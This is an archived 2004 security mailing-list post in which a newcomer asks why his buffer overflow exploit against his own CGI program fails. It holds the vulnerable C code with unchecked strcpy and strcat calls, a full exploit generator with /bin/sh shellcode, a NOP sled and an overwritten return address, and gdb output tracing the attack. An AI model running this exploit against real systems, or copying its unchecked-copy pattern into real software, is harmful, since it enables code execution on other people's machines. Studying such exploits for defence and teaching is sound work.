Problem exploiting a CGI overflow

From: Víctor Henríquez (vhenriquez_at_grancanaria.com)
Date: 11/23/04

  • Next message: Brett Moore: "Winamp - Buffer Overflow In IN_CDDA.dll"
    Date: Tue, 23 Nov 2004 14:18:11 +0000
    To: vuln-dev@securityfocus.com
    
    

    Hi, I'm new in this world. I discover several buffer overflow problems in some
    of our home-made apps. I try to exploit this but I have a rare problem.

    --- Vuln Code (post2.c) ---
    #include <stdio.h>
    #include <string.h>
    int main()
    {
       void split(char *line);
       char line1[500],line2[500];
       strcpy(line2,"");
       while (!feof(stdin))
       {
          scanf("%s",&line1);
          strcat(line1," ");
          strcat(line2,line1);
       }
       split(line2);
       printf("bye\n");

    }
    void split(char *line)
    {
       char txt[500];
       char *p;
       strcpy(txt,line);
    }

    ---
    $ cc post2.c -o post.cgi -ggdb
    $ perl -e 'print "A"x520' | ./post.cgi 
    Violación de segmento (core dumped)
    $ gdb post.cgi core
    gdb: Symbol `emacs_ctlx_keymap' has different size in shared object, consider 
    re-linking
    Core was generated by `./post.cgi'.
    Program terminated with signal 11, Segmentation fault.
    Reading symbols from /lib/libc.so.6...done.
    Loaded symbols for /lib/libc.so.6
    Reading symbols from /lib/ld-linux.so.2...done.
    Loaded symbols for /lib/ld-linux.so.2
    #0  0x41414141 in ?? ()
    Well... I'm trying overflow the strcpy() in split(). 
    --- exploit code ---
    #include <stdlib.h>
    #include <stdio.h>
    #define DEFAULT_ADDRESS          0xbffff4d4
    #define DEFAULT_OFFSET                    0
    #define DEFAULT_BUFFER_SIZE             520
    #define NOP                            0x90
    char shellcode[] =
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";
    int main(int argc, char *argv[]) {
       char *buff, *ptr;
       long *addr_ptr, addr;
       int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
       int i;
       FILE *out;
       if (argc > 1) bsize  = atoi(argv[1]);
       if (argc > 2) offset = atoi(argv[2]);
       if (!(buff = malloc(bsize))) {
          printf("Can't allocate memory.\n");
          exit(0);
       }
       addr = DEFAULT_ADDRESS + offset;
       printf("Using address: 0x%x\n", addr);
       ptr = buff;
       addr_ptr = (long *) ptr;
       for (i = 0; i < bsize; i+=4)
          *(addr_ptr++) = addr;
       for (i = 0; i < bsize/2; i++)
          buff[i] = NOP;
       ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
       for (i = 0; i < strlen(shellcode); i++)
          *(ptr++) = shellcode[i];
       buff[bsize - 1] = '\0';
       if ((out = fopen("buffer", "w")) == NULL)
       {
          perror("fopen");
          exit(-1);
       }
       fprintf(out, "%s", buff);
       fclose(out);
       return 1;
    }
    ---
    Now the problem... 
    $ echo "AAA" | ./post.cgi 
    bye
    $ cc exploit.c -o exp
    $ ./exp
    Using address: 0xbffff4d4
    $ cat buffer | ./post.cgi 
    Really he execute other code, but not the shellcode. More GDB now...
    $ gdb post.cgi
    (gdb) r < buffer 
    Starting program: /home/victor/laboratory/gsi/post-dev/post.cgi < buffer
    Breakpoint 1, split (line=0xbffff6e0 '\220' <repeats 200 times>...) at post2.c:
    21
    21              strcpy(txt,line);
    (gdb) info f
    Stack level 0, frame at 0xbffff6b8:
     eip = 0x804859d in split (post2.c:21); saved eip 0x804857f
     called by frame at 0xbffffac8
     source language c.
     Arglist at 0xbffff6b8, args: line=0xbffff6e0 '\220' <repeats 200 times>...
     Locals at 0xbffff6b8, Previous frame's sp is 0x0
     Saved registers:
      ebp at 0xbffff6b8, eip at 0xbffff6bc
    (gdb) x 0xbffff6bc
    0xbffff6bc:     0x0804857f
    (gdb) n
    22      }
    (gdb) x 0xbffff6bc
    0xbffff6bc:     0xbffff4d4 // Ret Changed!!
    (gdb) x/100 0xbffff4d4
    0xbffff4d4:     0x90909090      0x90909090   0x90909090 0x90909090
    0xbffff4e4:     0x90909090      0x90909090   0x90909090 0x90909090
    0xbffff4f4:     0x90909090      0x90909090   0x90909090 0x90909090
    0xbffff504:     0x90909090      0x90909090   0x90909090 0x90909090
    0xbffff514:     0x90909090      0x90909090   0x90909090 0x90909090
    0xbffff524:     0x90909090      0x90909090   0x90909090 0x90909090
    0xbffff534:     0x90909090      0x90909090   0x90909090 0x90909090
    0xbffff544:     0x90909090      0x90909090   0x90909090 0x90909090
    0xbffff554:     0x90909090      0x90909090   0x90909090 0x90909090
    0xbffff564:     0x90909090      0x90909090   0x90909090 0x90909090
    0xbffff574:     0x90909090      0x90909090   0x90909090 0x90909090
    0xbffff584:     0x90909090      0x90909090   0x90909090 0x90909090
    0xbffff594:     0x90909090      0x90909090   0x90909090 0x90909090
    0xbffff5a4:     0x90909090      0x90909090   0x90909090 0x1feb9090
    0xbffff5b4:     0x0876895e      0x4688c031   0x20468907 0xf38920b0
    0xbffff5c4:     0x8d084e8d      0x80cd2056   0xd889db31 0xe880cd40
    0xbffff5d4:     0xffffffdc      0x6e69622f   0xbf68732f 0xbffff4d4
    0xbffff5e4:     0xbffff4d4      0xbffff4d4   0xbffff4d4 0xbffff4d4
    0xbffff5f4:     0xbffff4d4      0xbffff4d4   0xbffff4d4 0xbffff4d4
    // Shellcode is in position...
    (gdb) n
    Program exited normally.
    What's happen!?
    I discover that the shellcode change during his execution. Yeah, some bytes of 
    the shellcode change while is running.  Why?? How can avoid this?
    Thanks in advance
    --
    Víctor Henríquez
    -------------------------------------------------
    Este email ha sido enviado a través de http://www.grancanaria.com
    

  • Next message: Brett Moore: "Winamp - Buffer Overflow In IN_CDDA.dll"